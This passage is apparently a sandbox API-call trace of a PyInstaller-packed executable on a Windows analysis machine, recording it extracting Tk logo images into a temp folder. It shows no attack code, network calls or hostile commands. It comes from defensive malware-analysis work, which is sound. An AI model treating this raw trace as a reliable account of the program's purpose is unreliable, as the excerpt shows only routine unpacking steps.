1 [0044.465] CloseHandle (hObject=0x10c) returned 1 [0044.465] GetLastError () returned 0x0 [0044.465] SetLastError (dwErrCode=0x0) [0044.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif") returned 71 [0044.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo150.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.465] GetLastError () returned 0x2 [0044.465] SetLastError (dwErrCode=0x2) [0044.465] GetLastError () returned 0x2 [0044.465] SetLastError (dwErrCode=0x2) [0044.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif", lpFilePart=0x0) returned 0x46 [0044.465] GetLastError () returned 0x2 [0044.465] SetLastError (dwErrCode=0x2) [0044.465] GetLastError () returned 0x2 [0044.465] SetLastError (dwErrCode=0x2) [0044.465] GetLastError () returned 0x2 [0044.465] SetLastError (dwErrCode=0x2) [0044.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif") returned 71 [0044.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo150.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo150.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.518] GetFileType (hFile=0x10c) returned 0x1 [0044.518] htonl (hostlong=0xb9090000) returned 0x9b9 [0044.518] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.518] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x9b9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x9b9, lpOverlapped=0x0) returned 1 [0044.520] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.520] CloseHandle (hObject=0x10c) returned 1 [0044.520] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.520] htonl (hostlong=0x30000000) returned 0x30 [0044.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.521] GetFileType (hFile=0x10c) returned 0x1 [0044.521] htonl (hostlong=0xcb6f5e00) returned 0x5e6fcb [0044.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x631fcb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.521] htonl (hostlong=0x740b0000) returned 0xb74 [0044.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb74) returned 0x55e278 [0044.521] htonl (hostlong=0x740b0000) returned 0xb74 [0044.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.522] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.522] htonl (hostlong=0xa50b0000) returned 0xba5 [0044.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba5) returned 0x562098 [0044.522] htonl (hostlong=0x740b0000) returned 0xb74 [0044.522] htonl (hostlong=0xa50b0000) returned 0xba5 [0044.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c48 [0044.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c48 | out: hHeap=0x530000) returned 1 [0044.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.522] CloseHandle (hObject=0x10c) returned 1 [0044.522] GetLastError () returned 0x0 [0044.522] SetLastError (dwErrCode=0x0) [0044.522] GetLastError () returned 0x0 [0044.522] SetLastError (dwErrCode=0x0) [0044.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.522] GetFileType (hFile=0x10c) returned 0x1 [0044.522] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.523] CloseHandle (hObject=0x10c) returned 1 [0044.523] GetLastError () returned 0x0 [0044.523] SetLastError (dwErrCode=0x0) [0044.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.523] GetFileType (hFile=0x10c) returned 0x1 [0044.523] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.523] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.523] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.523] CloseHandle (hObject=0x10c) returned 1 [0044.523] GetLastError () returned 0x0 [0044.523] SetLastError (dwErrCode=0x0) [0044.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif") returned 71 [0044.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo175.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.524] GetLastError () returned 0x2 [0044.524] SetLastError (dwErrCode=0x2) [0044.524] GetLastError () returned 0x2 [0044.524] SetLastError (dwErrCode=0x2) [0044.524] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif", lpFilePart=0x0) returned 0x46 [0044.524] GetLastError () returned 0x2 [0044.524] SetLastError (dwErrCode=0x2) [0044.524] GetLastError () returned 0x2 [0044.524] SetLastError (dwErrCode=0x2) [0044.524] GetLastError () returned 0x2 [0044.524] SetLastError (dwErrCode=0x2) [0044.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif") returned 71 [0044.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo175.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo175.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.524] GetFileType (hFile=0x10c) returned 0x1 [0044.524] htonl (hostlong=0xa50b0000) returned 0xba5 [0044.524] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.524] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xba5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xba5, lpOverlapped=0x0) returned 1 [0044.525] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.525] CloseHandle (hObject=0x10c) returned 1 [0044.525] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.525] htonl (hostlong=0x30000000) returned 0x30 [0044.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.526] GetFileType (hFile=0x10c) returned 0x1 [0044.526] htonl (hostlong=0x3f7b5e00) returned 0x5e7b3f [0044.526] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x632b3f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.526] htonl (hostlong=0x6e0d0000) returned 0xd6e [0044.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd6e) returned 0x55e278 [0044.526] htonl (hostlong=0x6e0d0000) returned 0xd6e [0044.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.526] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.526] htonl (hostlong=0xa30d0000) returned 0xda3 [0044.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xda3) returned 0x562098 [0044.526] htonl (hostlong=0x6e0d0000) returned 0xd6e [0044.526] htonl (hostlong=0xa30d0000) returned 0xda3 [0044.526] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e48 [0044.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e48 | out: hHeap=0x530000) returned 1 [0044.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.526] CloseHandle (hObject=0x10c) returned 1 [0044.526] GetLastError () returned 0x0 [0044.526] SetLastError (dwErrCode=0x0) [0044.526] GetLastError () returned 0x0 [0044.526] SetLastError (dwErrCode=0x0) [0044.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.526] GetFileType (hFile=0x10c) returned 0x1 [0044.527] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.527] CloseHandle (hObject=0x10c) returned 1 [0044.527] GetLastError () returned 0x0 [0044.527] SetLastError (dwErrCode=0x0) [0044.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.527] GetFileType (hFile=0x10c) returned 0x1 [0044.527] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.527] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.527] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.527] CloseHandle (hObject=0x10c) returned 1 [0044.528] GetLastError () returned 0x0 [0044.528] SetLastError (dwErrCode=0x0) [0044.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif") returned 71 [0044.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo200.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.528] GetLastError () returned 0x2 [0044.528] SetLastError (dwErrCode=0x2) [0044.528] GetLastError () returned 0x2 [0044.528] SetLastError (dwErrCode=0x2) [0044.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif", lpFilePart=0x0) returned 0x46 [0044.528] GetLastError () returned 0x2 [0044.528] SetLastError (dwErrCode=0x2) [0044.528] GetLastError () returned 0x2 [0044.528] SetLastError (dwErrCode=0x2) [0044.528] GetLastError () returned 0x2 [0044.528] SetLastError (dwErrCode=0x2) [0044.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif") returned 71 [0044.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo200.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo200.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.529] GetFileType (hFile=0x10c) returned 0x1 [0044.529] htonl (hostlong=0xa30d0000) returned 0xda3 [0044.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.529] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xda3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xda3, lpOverlapped=0x0) returned 1 [0044.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.530] CloseHandle (hObject=0x10c) returned 1 [0044.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.530] htonl (hostlong=0x30000000) returned 0x30 [0044.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.530] GetFileType (hFile=0x10c) returned 0x1 [0044.530] htonl (hostlong=0xad885e00) returned 0x5e88ad [0044.530] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6338ad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.530] htonl (hostlong=0x66040000) returned 0x466 [0044.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x466) returned 0x550600 [0044.530] htonl (hostlong=0x66040000) returned 0x466 [0044.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.530] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.530] htonl (hostlong=0x93040000) returned 0x493 [0044.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x493) returned 0x55e278 [0044.530] htonl (hostlong=0x66040000) returned 0x466 [0044.530] htonl (hostlong=0x93040000) returned 0x493 [0044.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.531] CloseHandle (hObject=0x10c) returned 1 [0044.531] GetLastError () returned 0x0 [0044.531] SetLastError (dwErrCode=0x0) [0044.531] GetLastError () returned 0x0 [0044.531] SetLastError (dwErrCode=0x0) [0044.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.531] CreateFileW 